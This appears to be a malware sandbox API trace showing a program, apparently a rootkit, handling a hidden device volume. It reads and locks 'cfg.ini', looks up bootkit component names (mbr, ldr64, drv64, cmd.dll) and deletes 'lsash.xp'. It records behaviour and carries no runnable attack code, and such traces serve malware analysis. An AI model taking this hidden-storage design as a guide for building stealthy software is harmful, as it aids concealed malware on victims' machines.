KeLeaveCriticalRegion () [0120.804] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.804] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.804] KeEnterCriticalRegion () [0120.804] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.804] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.804] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.804] KeLeaveCriticalRegion () [0120.804] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.804] KeEnterCriticalRegion () [0120.805] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.805] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.805] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.805] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.805] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0120.805] IdePortDispatch () returned 0x103 [0120.805] KeWaitForMutexObject () returned 0x0 [0120.805] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.805] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.805] KeLeaveCriticalRegion () [0120.805] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.805] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.805] KeEnterCriticalRegion () [0120.805] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.805] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034e3000 [0120.805] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.805] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.805] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.805] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.805] IdePortDispatch () returned 0x103 [0120.805] KeWaitForMutexObject () returned 0x0 [0120.805] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.805] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.805] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.805] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.805] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.805] IdePortDispatch () returned 0x103 [0120.805] KeWaitForMutexObject () returned 0x0 [0120.806] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.806] KeLeaveCriticalRegion () [0120.806] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.806] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.806] KeEnterCriticalRegion () [0120.806] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.806] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.806] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.806] KeLeaveCriticalRegion () [0120.806] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.806] KeEnterCriticalRegion () [0120.806] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.806] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.806] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bba470, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.806] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.806] KeLeaveCriticalRegion () [0120.806] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.806] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.806] KeEnterCriticalRegion () [0120.806] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.806] ExFreePoolWithTag (P=0xfffffa8003bbb700, Tag=0x0) [0120.806] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.806] KeLeaveCriticalRegion () [0120.806] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.806] ReleaseMutex (hMutex=0xf0) returned 1 [0120.807] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0120.807] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0120.807] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0120.807] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0120.807] KeEnterCriticalRegion () [0120.807] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.807] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.807] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.807] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.807] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.807] IdePortDispatch () returned 0x103 [0120.807] KeWaitForMutexObject () returned 0x0 [0120.807] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.807] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0120.807] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.807] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.807] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.807] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.807] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.807] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.807] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.807] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0120.807] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.807] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.807] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.807] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.807] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.807] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.807] KeLeaveCriticalRegion () [0120.807] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.807] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0120.807] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0120.807] KeEnterCriticalRegion () [0120.807] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.807] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.807] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.807] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.807] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.807] IdePortDispatch () returned 0x103 [0120.808] KeWaitForMutexObject () returned 0x0 [0120.808] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.808] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0120.808] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.808] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.808] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.808] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.808] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.808] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.808] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.808] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0120.808] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.808] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.808] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.808] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.808] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.808] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.808] KeLeaveCriticalRegion () [0120.808] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.808] ReleaseMutex (hMutex=0x100) returned 1 [0120.808] Sleep (dwMilliseconds=0x2bf20) [0120.814] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6b361130, dwHighDateTime=0x1d24fa4)) [0120.814] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0120.814] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.815] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0120.815] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.815] KeEnterCriticalRegion () [0120.815] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.815] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.815] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.815] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.815] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.815] IdePortDispatch () returned 0x103 [0120.815] KeWaitForMutexObject () returned 0x0 [0120.815] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.815] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.815] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.815] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.815] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.815] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbd8b0 [0120.815] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.815] KeLeaveCriticalRegion () [0120.815] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.815] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.815] KeEnterCriticalRegion () [0120.815] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.815] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.815] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.815] KeLeaveCriticalRegion () [0120.815] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.815] KeEnterCriticalRegion () [0120.815] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.815] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.815] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.815] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.815] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0120.815] IdePortDispatch () returned 0x103 [0120.815] KeWaitForMutexObject () returned 0x0 [0120.818] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.818] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.818] KeLeaveCriticalRegion () [0120.818] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.818] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.818] KeEnterCriticalRegion () [0120.818] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.818] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003506000 [0120.818] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.818] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.818] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.818] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.818] IdePortDispatch () returned 0x103 [0120.819] KeWaitForMutexObject () returned 0x0 [0120.819] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.819] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.819] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.819] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.819] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.819] IdePortDispatch () returned 0x103 [0120.819] KeWaitForMutexObject () returned 0x0 [0120.819] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.819] KeLeaveCriticalRegion () [0120.819] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.819] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.820] KeEnterCriticalRegion () [0120.820] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.820] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.820] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.820] KeLeaveCriticalRegion () [0120.820] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.820] KeEnterCriticalRegion () [0120.820] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.820] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.820] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbd070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.820] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.820] KeLeaveCriticalRegion () [0120.820] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.820] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.820] KeEnterCriticalRegion () [0120.820] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.820] ExFreePoolWithTag (P=0xfffffa8003bbd8b0, Tag=0x0) [0120.820] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.820] KeLeaveCriticalRegion () [0120.820] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.820] ReleaseMutex (hMutex=0xf0) returned 1 [0120.820] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.826] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0120.826] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.826] KeEnterCriticalRegion () [0120.826] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.826] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.826] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.826] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.826] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.826] IdePortDispatch () returned 0x103 [0120.826] KeWaitForMutexObject () returned 0x0 [0120.826] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.826] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.826] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.826] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.826] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.826] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbb390 [0120.826] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.826] KeLeaveCriticalRegion () [0120.826] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.826] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.826] KeEnterCriticalRegion () [0120.826] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.826] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.826] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.826] KeLeaveCriticalRegion () [0120.827] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.827] KeEnterCriticalRegion () [0120.827] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.827] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.827] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.827] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.827] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0120.827] IdePortDispatch () returned 0x103 [0120.827] KeWaitForMutexObject () returned 0x0 [0120.827] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.827] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.827] KeLeaveCriticalRegion () [0120.827] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.827] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.827] KeEnterCriticalRegion () [0120.827] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.827] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003509000 [0120.827] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.827] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.827] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.827] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.827] IdePortDispatch () returned 0x103 [0120.827] KeWaitForMutexObject () returned 0x0 [0120.827] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.827] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.827] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.827] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.827] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.827] IdePortDispatch () returned 0x103 [0120.827] KeWaitForMutexObject () returned 0x0 [0120.828] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.828] KeLeaveCriticalRegion () [0120.828] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.828] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.828] KeEnterCriticalRegion () [0120.828] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.828] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.828] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.828] KeLeaveCriticalRegion () [0120.828] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.828] KeEnterCriticalRegion () [0120.828] 